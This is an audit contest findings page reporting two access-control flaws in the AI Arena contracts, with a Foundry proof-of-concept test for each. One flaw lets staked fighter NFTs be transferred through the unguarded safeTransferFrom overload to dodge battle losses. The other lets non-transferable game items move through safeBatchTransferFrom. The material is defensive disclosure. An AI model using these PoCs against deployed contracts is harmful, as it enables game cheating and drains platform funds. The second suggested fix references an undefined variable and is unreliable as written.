AI Arena - hulkvision's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L355 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L486

Vulnerability details

Description

FighterFarm.sol contract inherits ERC721 contract, In ERC721 we can transfer tokenId using three functions.

function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;

function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

The FighterFarm contract had override the following functions and implemented access control where if the tokenId are staked it cannot be transferred to some other address.

function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;

But the access control is missing on safeTransferFrom which take four arguments which is also public which can be called by token owner.

This allows a token owner to transfer their tokenID(fighter) to different address even when NRN is staked to that tokenID.

Impact

This gives a user the ability to prevent themself from loosing a ranked battle,getting unlimited voltage,gettinng unlimited fighters thus gaining unfair advantage in the game and causing loss of funds to the platform.

Proof of Concept

1. Mint a Fighter from FighterFarm Contract to say address 0x1
2. Check owner of the minted token.
3. Stake NRN to that tokenId(say tokenId=0)
4. Start the battle and say you have won the battle.
5. Transfer the tokenID to say address 0x2
6. Start the battle again and say now you lost the battle.
7. The updateBattleRecord function would be called by the gameServerAddress but because of arithmetic underflow at line the function will revert thus preventing the user from losing.
8. If the user wins the battle arithmetic underflow will not occur and then after 1 win user can transfer tokenID to different address and if user lost the battle on new address the updateBattleRecord function will revert until user wins a battle then user can transfer the ownership of tokenID to new address and continue the cycle like this.
9. And After the Round ends user can claim the Rewards from all the addresses.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {FighterFarm} from "../src/FighterFarm.sol";
import {Neuron} from "../src/Neuron.sol";
import {AAMintPass} from "../src/AAMintPass.sol";
import {MergingPool} from "../src/MergingPool.sol";
import {RankedBattle} from "../src/RankedBattle.sol";
import {VoltageManager} from "../src/VoltageManager.sol";
import {GameItems} from "../src/GameItems.sol";
import {AiArenaHelper} from "../src/AiArenaHelper.sol";
import {StakeAtRisk} from "../src/StakeAtRisk.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

contract TransferWhenStaked is Test {
    /*//////////////////////////////////////////////////////////////
                                CONSTANTS
    //////////////////////////////////////////////////////////////*/

    uint8[][] internal _probabilities;
    address internal constant _DELEGATED_ADDRESS = 0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0;
    address internal constant _GAME_SERVER_ADDRESS = 0x7C0a2BAd62C664076eFE14b7f2d90BF6Fd3a6F6C;
    address internal _ownerAddress;
    address internal _treasuryAddress;
    address internal _neuronContributorAddress;

    /*//////////////////////////////////////////////////////////////
                             CONTRACT INSTANCES
    //////////////////////////////////////////////////////////////*/

    FighterFarm internal _fighterFarmContract;
    AAMintPass internal _mintPassContract;
    MergingPool internal _mergingPoolContract;
    RankedBattle internal _rankedBattleContract;
    VoltageManager internal _voltageManagerContract;
    GameItems internal _gameItemsContract;
    AiArenaHelper internal _helperContract;
    Neuron internal _neuronContract;
    StakeAtRisk internal _stakeAtRiskContract;

    function getProb() public {
        _probabilities.push([25, 25, 13, 13, 9, 9]);
        _probabilities.push([25, 25, 13, 13, 9, 1]);
        _probabilities.push([25, 25, 13, 13, 9, 10]);
        _probabilities.push([25, 25, 13, 13, 9, 23]);
        _probabilities.push([25, 25, 13, 13, 9, 1]);
        _probabilities.push([25, 25, 13, 13, 9, 3]);
    }

    function setUp() public {
        _ownerAddress = address(this);
        _treasuryAddress = vm.addr(1);
        _neuronContributorAddress = vm.addr(2);
        getProb();

        _fighterFarmContract = new FighterFarm(_ownerAddress, _DELEGATED_ADDRESS, _treasuryAddress);

        _helperContract = new AiArenaHelper(_probabilities);

        _mintPassContract = new AAMintPass(_ownerAddress, _DELEGATED_ADDRESS);
        _mintPassContract.setFighterFarmAddress(address(_fighterFarmContract));
        _mintPassContract.setPaused(false);

        _gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress);

        _voltageManagerContract = new VoltageManager(_ownerAddress, address(_gameItemsContract));

        _neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress);

        _rankedBattleContract = new RankedBattle(
            _ownerAddress, _GAME_SERVER_ADDRESS, address(_fighterFarmContract), address(_voltageManagerContract)
        );

        _mergingPoolContract =
            new MergingPool(_ownerAddress, address(_rankedBattleContract), address(_fighterFarmContract));

        _stakeAtRiskContract =
            new StakeAtRisk(_treasuryAddress, address(_neuronContract), address(_rankedBattleContract));

        _voltageManagerContract.adjustAllowedVoltageSpenders(address(_rankedBattleContract), true);

        _neuronContract.addStaker(address(_rankedBattleContract));
        _neuronContract.addMinter(address(_rankedBattleContract));

        _rankedBattleContract.instantiateNeuronContract(address(_neuronContract));
        _rankedBattleContract.instantiateMergingPoolContract(address(_mergingPoolContract));
        _rankedBattleContract.setStakeAtRiskAddress(address(_stakeAtRiskContract));

        _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));
        _fighterFarmContract.addStaker(address(_rankedBattleContract));
        _fighterFarmContract.instantiateAIArenaHelperContract(address(_helperContract));
        _fighterFarmContract.instantiateMintpassContract(address(_mintPassContract));
        _fighterFarmContract.instantiateNeuronContract(address(_neuronContract));
    }


// poc 
    function testChangeOwnerOfFighterWhenStaked() public {
        address owner = vm.addr(3);
        address new_owner = vm.addr(4);
        
        _mintFromMergingPool(owner);
        uint8 tokenId = 0;
        _fundUserWith4kNeuronByTreasury(owner);
        vm.prank(owner);
        _rankedBattleContract.stakeNRN(3_000 * 10 ** 18, tokenId);
        assertEq(_rankedBattleContract.amountStaked(tokenId), 3_000 * 10 ** 18);
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
        vm.prank(owner);
        //calling safeTransferFrom and transferring tokenId to new_owner
        _fighterFarmContract.safeTransferFrom(owner,new_owner,tokenId,"");
        assertEq(_fighterFarmContract.ownerOf(tokenId),new_owner);
        console.log("new owner",_fighterFarmContract.ownerOf(tokenId));
        vm.prank(address(_GAME_SERVER_ADDRESS));
        // winning the battle with new address
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
        vm.prank(address(_GAME_SERVER_ADDRESS));
        // losing the battle with new address but the will revert arithmetic underflow
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true);
    }




    /*//////////////////////////////////////////////////////////////
                               HELPERS
    //////////////////////////////////////////////////////////////*/

    /// @notice Helper function to mint an fighter nft to an address.
    function _mintFromMergingPool(address to) internal {
        vm.prank(address(_mergingPoolContract));
        _fighterFarmContract.mintFromMergingPool(to, "_neuralNetHash", "original", [uint256(1), uint256(80)]);
    }

    /// @notice Helper function to fund an account with 4k $NRN tokens.
    function _fundUserWith4kNeuronByTreasury(address user) internal {
        vm.prank(_treasuryAddress);
        _neuronContract.transfer(user, 4_000 * 10 ** 18);
        assertEq(4_000 * 10 ** 18 == _neuronContract.balanceOf(user), true);
    }

    function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
        // Handle the token transfer here
        return this.onERC721Received.selector;
    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId,
        bytes calldata data        
    ) 
        public 
        override(ERC721, IERC721)
    {
        require(_ableToTransfer(tokenId, to));
        _safeTransfer(from, to, tokenId, "");
    }

Implement Access control on this function also, so that user cannot call this function and transfer the token to different address when staked with nrn.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L291

Vulnerability details

Impact

GameItems contracts inherits from ERC1155 contract. In ERC1155 we can transfer token with these two functions.

function safeTransferFrom(
        address from,
        address to,
        uint256 id,
        uint256 amount,
        bytes memory data
    ) public virtual override {
        require(
            from == _msgSender() || isApprovedForAll(from, _msgSender()),
            "ERC1155: caller is not token owner nor approved"
        );
        _safeTransferFrom(from, to, id, amount, data);
    }

    /**
     * @dev See {IERC1155-safeBatchTransferFrom}.
     */
    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] memory ids,
        uint256[] memory amounts,
        bytes memory data
    ) public virtual override {
        require(
            from == _msgSender() || isApprovedForAll(from, _msgSender()),
            "ERC1155: caller is not token owner nor approved"
        );
        _safeBatchTransferFrom(from, to, ids, amounts, data);
    }

safeTransferFrom function was overridden and access control was implemented on this function which would prevent transfer of non-transferable game items to different address, but safeBatchTransferFrom function was not overridden by the GameItems contract and access control was not implemented so it allowed to transfer non-transferable game items to different address resulting in the violation of the fundamental mechanics of in-scope contracts.

Proof of Concept

Add the following code to test/GameItems.t.sol and run the test via forge test --mt testTransferNonTransferableItems -vvvv:

function testTransferNonTransferableItems() public {
        vm.prank(address(this));
        _gameItemsContract.createGameItem("Dimension_Slasher", "https://ipfs.io/ipfs/", true, false, 17, 1 * 10 ** 18, 3); //setting the item as non-transferable
        address player = vm.addr(5);
        address new_owner = vm.addr(6);
        _fundUserWith4kNeuronByTreasury(player);
        vm.prank(player);
        _gameItemsContract.mint(1,1); // minting the token with owner as player
        vm.expectRevert();
        _gameItemsContract.safeTransferFrom(player,new_owner,1,1,"");
        // using safeBatchTransferFrom to transfer non transferable item to new address 
        uint256[] memory id = new uint256[](1);
        uint256[] memory amount = new uint256[](1);
        id[0] = 1 ;
        amount[0] = 1;
        vm.prank(player);
        _gameItemsContract.safeBatchTransferFrom(player,new_owner,id,amount,"");
        assertEq(_gameItemsContract.balanceOf(new_owner,1),1);
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Implement access control on safeBatchTransferFrom so that it prevents transfer of non-transferable items.

function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] memory ids,
        uint256[] memory amounts,
        bytes memory data
    ) public virtual override {
        require(allGameItemAttributes[tokenId].transferable);
        super.safeBatchTransferFrom(from, to, ids, amounts, data);
    }

Assessed type

Access Control